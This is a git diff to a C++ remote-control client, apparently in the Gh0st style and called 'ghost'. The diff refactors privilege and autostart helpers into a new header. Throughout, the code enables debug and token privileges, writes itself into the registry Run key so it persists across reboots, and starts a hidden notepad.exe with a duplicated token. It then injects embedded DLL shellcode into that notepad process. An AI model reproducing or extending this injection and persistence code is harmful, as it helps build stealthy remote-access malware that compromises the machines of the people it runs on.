diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index a0b7c04..9cc023b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -156,59 +156,7 @@ DWORD WaitForMultipleHandlesEx( #if _CONSOLE -//提升权限 -void DebugPrivilege() -{ - HANDLE hToken = NULL; - //打开当前进程的访问令牌 - int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); - - if (hRet) - { - TOKEN_PRIVILEGES tp; - tp.PrivilegeCount = 1; - //取得描述权限的LUID - LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - //调整访问令牌的权限 - AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); - - CloseHandle(hToken); - } -} - -/** -* @brief 设置本身开机自启动 -* @param[in] *sPath 注册表的路径 -* @param[in] *sNmae 注册表项名称 -* @return 返回注册结果 -* @details Win7 64位机器上测试结果表明,注册项在:\n -* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run -* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 -*/ -BOOL SetSelfStart(const char* sPath, const char* sNmae) -{ - DebugPrivilege(); - - // 写入的注册表路径 -#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" - - // 在注册表中写入启动信息 - HKEY hKey = NULL; - LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); - - // 判断是否成功 - if (lRet != ERROR_SUCCESS) - return FALSE; - - lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); - - // 关闭注册表 - RegCloseKey(hKey); - - // 判断是否成功 - return lRet == ERROR_SUCCESS; -} +#include "auto_start.h" // 隐藏控制台 // 参看:https://blog.csdn.net/lijia11080117/article/details/44916647 diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index 8c695e8..48494aa 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -16,12 +16,19 @@ class ShellcodeInj { public: // Return the process id if inject succeed. - int InjectProcess(const char* processName = nullptr) { + int InjectProcess(const char* processName = nullptr, bool hasPermission=false) { if (processName) { auto pid = GetProcessIdByName(processName); if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false) return pid; } + if (hasPermission) { + auto pid = LaunchNotepadWithCurrentToken(); + if (pid) { + return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0; + } + } + PROCESS_INFORMATION pi = {}; STARTUPINFO si = { sizeof(STARTUPINFO) }; si.dwFlags = STARTF_USESHOWWINDOW; @@ -34,6 +41,49 @@ public: return 0; } private: + DWORD LaunchNotepadWithCurrentToken() { + HANDLE hToken = NULL; + + // 打开当前进程 token + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, + &hToken)) { + Mprintf("OpenProcessToken failed: %d\n", GetLastError()); + return 0; + } + + // 复制主 token + HANDLE hNewToken = NULL; + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { + Mprintf("DuplicateTokenEx failed: %d\n", GetLastError()); + CloseHandle(hToken); + return 0; + } + + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi = {}; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + // 使用复制后的 token 启动 notepad + if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe", + NULL, 0, NULL, NULL, &si, &pi)) { + Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError()); + CloseHandle(hToken); + CloseHandle(hNewToken); + return 0; + } + + DWORD dwProcessId = pi.dwProcessId; + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + CloseHandle(hToken); + CloseHandle(hNewToken); + + return dwProcessId; // 返回子进程 ID + } + // Find process id by name. DWORD GetProcessIdByName(const std::string& procName) { DWORD pid = 0; diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 7485fb4..b151eff 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -159,6 +159,7 @@ + diff --git a/client/auto_start.h b/client/auto_start.h new file mode 100644 index 0000000..39007d3 --- /dev/null +++ b/client/auto_start.h @@ -0,0 +1,64 @@ +#pragma once +#include + +// 提升权限 +inline int DebugPrivilege() +{ + HANDLE hToken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + return -1; + + // 动态分配空间,包含 3 个 LUID + TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES)); + if (!tp) { CloseHandle(hToken); return 1; } + + tp->PrivilegeCount = 3; + + if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { free(tp); CloseHandle(hToken); return 2; } + tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { free(tp); CloseHandle(hToken); return 3; } + tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; + + if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { free(tp); CloseHandle(hToken); return 4; } + tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; + + AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL); + + free(tp); + CloseHandle(hToken); + return 0; +} + +/** +* @brief 设置本身开机自启动 +* @param[in] *sPath 注册表的路径 +* @param[in] *sNmae 注册表项名称 +* @return 返回注册结果 +* @details Win7 64位机器上测试结果表明,注册项在:\n +* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run +* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 +*/ +inline BOOL SetSelfStart(const char* sPath, const char* sNmae) +{ + DebugPrivilege(); + + // 写入的注册表路径 +#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + + // 在注册表中写入启动信息 + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + + // 判断是否成功 + if (lRet != ERROR_SUCCESS) + return FALSE; + + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + + // 关闭注册表 + RegCloseKey(hKey); + + // 判断是否成功 + return lRet == ERROR_SUCCESS; +} diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index bd47ba0..a239867 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -211,6 +211,7 @@ + diff --git a/client/test.cpp b/client/test.cpp index a7d4dfc..e6d5f19 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -6,10 +6,12 @@ #include #include "common/dllRunner.h" #include +#include "auto_start.h" + #pragma comment(lib, "ws2_32.lib") // 自动启动注册表中的值 -#define REG_NAME "a_ghost" +#define REG_NAME "ClientDemo" typedef void (*StopRun)(); @@ -32,60 +34,6 @@ HANDLE hEvent = NULL; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC }; -//提升权限 -void DebugPrivilege() -{ - HANDLE hToken = NULL; - //打开当前进程的访问令牌 - int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); - - if( hRet) - { - TOKEN_PRIVILEGES tp; - tp.PrivilegeCount = 1; - //取得描述权限的LUID - LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid); - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - //调整访问令牌的权限 - AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); - - CloseHandle(hToken); - } -} - -/** -* @brief 设置本身开机自启动 -* @param[in] *sPath 注册表的路径 -* @param[in] *sNmae 注册表项名称 -* @return 返回注册结果 -* @details Win7 64位机器上测试结果表明,注册项在:\n -* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run -* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项 -*/ -BOOL SetSelfStart(const char *sPath, const char *sNmae) -{ - DebugPrivilege(); - - // 写入的注册表路径 -#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" - - // 在注册表中写入启动信息 - HKEY hKey = NULL; - LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); - - // 判断是否成功 - if(lRet != ERROR_SUCCESS) - return FALSE; - - lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); - - // 关闭注册表 - RegCloseKey(hKey); - - // 判断是否成功 - return lRet == ERROR_SUCCESS; -} - BOOL CALLBACK callback(DWORD CtrlType) { if (CtrlType == CTRL_CLOSE_EVENT) @@ -252,7 +200,8 @@ public: // 如果配置文件不存在就从命令行中获取IP和端口. int main(int argc, const char *argv[]) { - if(!SetSelfStart(argv[0], REG_NAME)) + BOOL ok = SetSelfStart(argv[0], REG_NAME); + if(!ok) { Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); } @@ -279,7 +228,7 @@ int main(int argc, const char *argv[]) do { if (sizeof(void*) == 4) // Shell code is 64bit break; - if (!(pid = inj.InjectProcess(nullptr))) { + if (!(pid = inj.InjectProcess(nullptr, ok))) { break; } HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);